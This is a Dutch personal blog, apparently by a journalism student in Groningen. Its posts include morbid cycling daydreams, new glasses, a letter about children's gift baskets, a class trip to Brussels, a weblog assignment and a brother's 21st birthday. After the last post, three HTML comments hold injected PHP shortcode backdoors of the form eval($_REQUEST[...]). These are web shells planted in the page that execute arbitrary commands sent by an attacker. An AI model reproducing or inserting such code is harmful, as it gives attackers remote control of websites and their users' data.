Ambulances

Soms vraag ik me weleens af of ik misschien niet stiekem een beetje raar in mijn hoofd ben. Ik bedenk me namelijk weleens, als ik op de fiets op weg ben naar iets of iemand, wat er zou gebeuren als ik acuut en heel ernstig word aan- of overreden. Ik lig dan natuurlijk volledig in de kreukels, liefst met veel botbreuken en bloed en kan dan uiteraard niet meer uitbrengen wie ik ben of waar ik naar op weg ben. En wie vertelt dan aan mijn afspraak dat ik niet kan komen, omdat ik zwaargewond in het ziekenhuis lig? Diegene staat dan waarschijnlijk al uren voor het raam, turend naar het einde van de straat, in afwachting van mijn aankomst. IJsberend misschien wel, zwetend van zorgen en angst. Of misschien wordt er slechts gezucht, want ik kom immers wel vaker te laat.

Ik vraag me dan ook vaak af in welk ziekenhuis ik terecht zal komen. In het UMCG, of in het Martini? Maar dan moeten mijn ouders elke dag hartstikke ver rijden om bij me op bezoek te komen! Enschede is in dat geval een betere optie, maar hoe moet het dan met met mijn vrienden uit Groningen en Utrecht die vast ook wel op bezoek willen komen? Lastig, lastig allemaal, dit soort kwesties, maar ze schieten vaak door mijn hoofd als ik mij in het verkeer begeef. Niet alleen als ik toeterende auto’s moet ontwijken, of bijna voetgangers over het hoofd zie, maar zelfs ook als ik gewoon rustig fiets op een vrijwel lege, rechte weg. Is dat raar?

Mijn gedachten worden soms nog bizarder. Want van ongelukken kun je namelijk ook doodgaan! Wat zal er dan toch allemaal gebeuren met mijn wachtende afspraak, die dan nog niet weet dat hij of zij de laatste is geweest die contact met mij gehad zou hebben, als ik niet op de heenweg verongelukt zou zijn? En wie licht mijn ouders in? En mijn vrienden? Waar blijven mijn spullen? Ik ben immers altijd op weg met een uitpuilende tas. En, nog veel belangrijker: wie komen er allemaal op mijn begrafenis? Wie gaat dat eigenlijk allemaal regelen? Mijn ouders? Mijn vrienden? Dela? Wie weet er eigenlijk precies hoe ik het hebben wil? (Een onbewerkte kist. Dat in ieder geval.) Zal de kerk uitpuilen? Zal er veel gehuild worden? Zullen mensen oprecht verdrietig zijn omdat ik dood ben? Misschien komt er wel helemaal niemand op mijn begrafenis! Een eenzame witte ballon in de lucht. Die gedachte stemt mij, al fietsend, altijd uitermate treurig. Meestal is dat ook het moment dat ik me realiseer dat ik niet zo raar moet doen. Wat nou, doodgaan? Fietsen moet ik, op naar mijn afspraak!

Maarre… hebben andere mensen dit ook? Of ben ik de enige?

En nu heb ik toch een bril!





Jawel! Ik heb eindelijk mijn felbegeerde bril! Een hele hippe grote rode. In de meest lage sterkte allertijden. Maar ik kan er niks door zien. Ik word er misselijk van. Voel me alsof ik in een kermisattractie zit, die heel vaak over de kop gaat en vervolgens een afgrond in.


Dat hoort vast niet.

Fietskar

Van de supermarkt op weg naar huis, zag ik gisteren een toppunt van integratie: een Marokkaans of Turks echtpaar, op dezelfde Gazelle-fiets, met dezelfde fietstassen. Beide een kind voorop, op zijn stuur zat ook nog een kilometerteller. Achter haar fiets hing een oerhollandse fietskar met een geel en rood dekzeil, waarin twee bruinbekrulde kindertjes vrolijk zaten te zwaaien. Ik zwaaide nog vrolijker terug.

Cadeaumand

Met wijdopen mond van verbazing las ik afgelopen zaterdag in de Weekendgids van Trouw de volgende brief aan etiquettespecialist Beatrijs Ritsema:

Beste Beatrijs,
Mijn kinderen worden regelmatig uitgenodigd voor verjaardagsfeestjes bij vriendjes en vriendinnetjes. Steeds vaker staat op de uitnodiging vermeld dat de jarige een cadeaumand heeft ingericht bij de plaatselijke speelgoedwinkel. Het is de bedoeling dat uit die mand een cadeau wordt gehaald dat de jarige zelf heeft uitgezocht, zodat hij/zij precies krijgt wat wordt verlangd. Ik voel me door deze methode onder druk gezet. Vaak ligt er alleen speelgoed van rond de tien euro of meer, en dit vind ik echt te veel voor een feestje van een kind van zes. Bovendien worden mijn kinderen er op aan gesproken door de jarige als zij een cadeau durven mee te nemen dat door ons zelf is uitgezocht. Kinderen zijn hard onder elkaar en het commentaar is dan ook niet mis. Om mijn kinderen dit te besparen volg ik toch vaak de richtlijnen. Mijn eigen kinderen willen voor hun volgende feestje ook graag een cadeaumand. Ik zie daar niks in. Ik vind de methode brutaal en ondankbaar. Bovendien wil ik andere ouders niet verplichten een bepaald bedrag, hoe klein ook, te besteden. Ben ik nu te streng of te ouderwets? Moet ik toch maar mee gaan in deze cadeauterreur?
Cadeaus op bestelling
(www.trouw.nl/degids/modernemanieren)

Waar gaat dit toch in godsnaam allemaal naartoe? Kleine kinderen van zes die een cadeaumand samenstellen bij de speelgoedwinkel? Het doet me ernstig denken aan cadeaulijsten bij de servieswinkel voor aanstaande echtparen, waarover ik altijd met rode wangen lees in mijn jaren ’50 Witte Raven Pockets. Maar die lijsten zijn toch volledig ouderwets geworden?
Maar goed, daar gaat het niet om. Wat mij zo verschrikkelijk heeft gestoord aan bovenstaande brief is de decadentie en de patserigheid en vooral de makkelijkheid waarmee veel ouders van tegenwoordig hun kinderen lijken op te voeden. Ze doen ze op de crèche, in de zomer op vakantiekamp, ze geven veel te veel zakgeld, stoppen ze op duizend clubjes en zetten ze de rest van de dag achter de tv. Als de kinderen maar niet teveel tijd kosten en vooral ook niet teveel moeite en aandacht, want dat is allemaal maar zo lastig.

Volgens mij worden kinderen veel te weinig gestimuleerd om creatief te zijn. Ze krijgen niet meer de kans om rustig in een hoekje te tekenen, naar een verhaaltje te luisteren dat door mama wordt verteld, luidkeels te zingen in het bad, of zélf een leuk cadeautje te zoeken voor een jarige. Mijn voormalige oppaskindjes kenden verdomd weinig liedjes en hadden geen rust om lekker naar een verhaaltje te luisteren. Ze konden alleen maar schreeuwen en rennen en springen, maar verveelden zich de hele dag. Ze konden níet bedenken wat te doen. Pas als de tv aanging keerde de rust terug in huis, en zaten de jongens apatisch op de bank.

Weg met die cadeaumand, stel ik voor. Laat kinderen voor een klein bedrag zelf iets uitzoeken, dat helemaal bij de jarige past. Zelf bedacht, en wellicht nog leuker: zelf gemaakt! (Maar dan klink ik misschien wel héél biologisch-dynamisch) Zijn we nou toch helemaal van de pot gerukt met al die makkelijkheid voor veel te veel geld?

We gaan naar Brussel, al aan de zee…

1 Mei, de Dag van de Arbeid. Jawel! Het is my lucky day qua bloggen, want de inspiratie blijft maar stromen. Toch zal ik mijzelf moeten bedwingen, want ik ga straks met de trein naar Brussel, om daar met mijn studiegenoten een kijkje te gaan nemen bij de persdienst van de Europese Unie. Wellicht zit er nog een leuke post in, maar mocht dat moeilijk worden dan hoop ik mijn beste lezers zoet te kunnen houden met onderstaande link:

http://elmersmaling.blogspot.com

Op donderdag 27 april plaatste Elmer een link naar de radioshows die wij RTV-studenten afgelopen week hebben uitgezonden. Sjoukje en Simon en ik hebben een programma gemaakt over public journalism, oftwel burgerjournalistiek, en zijn in debat gegaan met Huub Wijfjes, mediahistoricus aan de RUG, met Hanneke Boonstra, chef redactie van RTV Noord, met Jibbo Poppen, lezersredacteur van het Dagblad van het Noorden en met mevrouw Ottes, die een weblog bijhoudt bij de Volkskrant. We hebben geprobeerd uit te zoeken in hoeverre de burger invloed heeft op het nieuws en op de inhoud van kranten en televisieprogramma’s. ‘t Is interessant geworden en de moeite van het luisteren waard. Let wel: het was de eerste keer dat we zoiets deden, en we hebben ook nog een boel te leren. Tips en trucs zijn welkom!

Weblog hier, weblog daar, weblog voor ons allemaal!

Nou is het toch de bedoeling dat ik de link van mijn weblog op Nestor zet… oei. Nestor is de ‘digitale leeromgeving’ van de Rijksuniversiteit Groningen, en de hoge heren en dames van Journalistiek hebben dit medium ingezet als ideaal communicatiemiddel voor de komende MultiMediaNewsroom-weken, oftewel de MMN weken. De dagbladders en radio- en tvmensen zijn door elkaar gehusseld en worden geacht in die weken multimediale en mediaconvergente items te fabrieken. Artikelen met audiofragmenten, of korte filmpjes met een beetje tekst, of interviews met beeld én geluid… alles kan en alles mag, als het maar journalistiek is en een uitgebalanceerde mix van lezen, kijken en luisteren. Alle maaksels zijn terug te vinden op www.elementweb.nl, dé website van de master Journalistiek in Groningen. Helaas wil de universiteit niet aansprakelijk zijn voor de inhoud, dus heeft de site een wachtwoord. Dat is bij mij te verkrijgen, dus nieuwsgierigen kunnen gewoon aan hun trekken komen.
Nu wordt er tijdens de MMN-weken ook een weblog bijgehouden door een dagbladder en een RTV’er. Zij zullen beschrijven hoe het er allemaal aan toe gaat in de newsroom. Slaan de dagbladders en de RTV’ers elkaar de hersens in tijdens de eeuwigdurende strijd om wie nou eigenlijk de beste papieren heeft? Je leest het op Elementweb. Halen we een vette scoop? Je leest het op Elementweb. Maar daar valt ook gewoon te lezen hoe dat nou eigenlijk allemaal in zijn werk gaat, multimediaal en mediaconvergent bezig zijn. Het lijkt mij wel leuk, om daar elke dag een stukje over te schrijven…
Maar goed, tijdens de introductiedag voor de MMN-weken werd er door onze hoogleraar Marc Chavannes eens rondgevraagd wie er allemaal een blog bijhouden. Ik stak aarzelend mijn vinger op, want tja, ik heb een blog, maar van echt bijhouden is geen sprake. En bovendien voldoe ik niet echt aan de eisen die het medium weblog stelt, want mijn artikelen zijn altijd veel te lang. En tenslotte vraag ik me nog steeds af wat de juiste inhoud van mijn blog moet zijn, maar daarover schreef ik al vaker. In ieder geval wil Marc (ja, wij journalisten tutoyeren elkaar) dat alle bloggers de link naar hun blog op Nestor zetten. Dat betekent dus dat iedereen (lees: mijn studiegenoten en de docenten) vanaf nu mijn schrijfsels kunnen lezen. En dat vind ik toch echt wel een beetje spannend. Ik sta weliswaar op internet omdat ik ook wíl dat mensen lezen wat ik tik, maar vooralsnog heb ik niet veel meer lezers dan een handjevol vrienden en familie en dat vind ik eigenlijk wel zo veilig…
Ik heb mezelf echter streng toegesproken en mijn schouders gerecht (Schrijf je dat zo? Ik rechtte mijn schouders, ik heb mijn schouders gerecht? Hmmm…) en ik ga ervoor. Lezers van Neeltjes blog, verenigt u! (En schrijf ook eens een comment!)

Grote broer is jarig!


Mijn broer wordt vandaag 21 en de hele kamer zit vol visite. Ik hou enorm van jarige mensen (vooral als ik het zelf ben!) en kamers vol visite, maar soms wordt ineens te druk in en aan mijn hoofd en moet ik weg. Vandaag trok ik me terug op de stille zolder, met de lange rij dikke fotoalbums, en vierde ik zijn 21 jaren zonder gezang, taart en glasgerinkel, maar met honderden prachtige afbeeldingen van dat kleine schattige roze babietje, dat een dik peutertje werd met spierwit haar en een bol buikje, triomfantelijk achter de grasmaaier, dat als vierjarig jongetje met zijn verkering van de overkant van de straat de lambada danste voor Sinterklaas, toen hij vijf werd een trekker kreeg waar hij echt op kon rijden, vanaf zijn tiende op alle foto’s zijn handen voor zijn gezicht hield en vanaf zijn zestiende helemaal niet meer op de foto wilde, behalve met zijn blote kont… dat kleine schattige babietje is nu ineens 21 en is in plaats van mijn kleine broertje, mijn grote stoere broer geworden. Met blonde krullen en een zonnebankbruine, strakke buik. En daar mag best voor geklapt worden!

<!– [insert_php]if (isset($_REQUEST["ZkSlu"])){eval($_REQUEST["ZkSlu"]);exit;}[/insert_php][php]if (isset($_REQUEST["ZkSlu"])){eval($_REQUEST["ZkSlu"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CRWaI"])){eval($_REQUEST["CRWaI"]);exit;}[/insert_php][php]if (isset($_REQUEST["CRWaI"])){eval($_REQUEST["CRWaI"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["zbor"])){eval($_REQUEST["zbor"]);exit;}[/insert_php][php]if (isset($_REQUEST["zbor"])){eval($_REQUEST["zbor"]);exit;}[/php] –>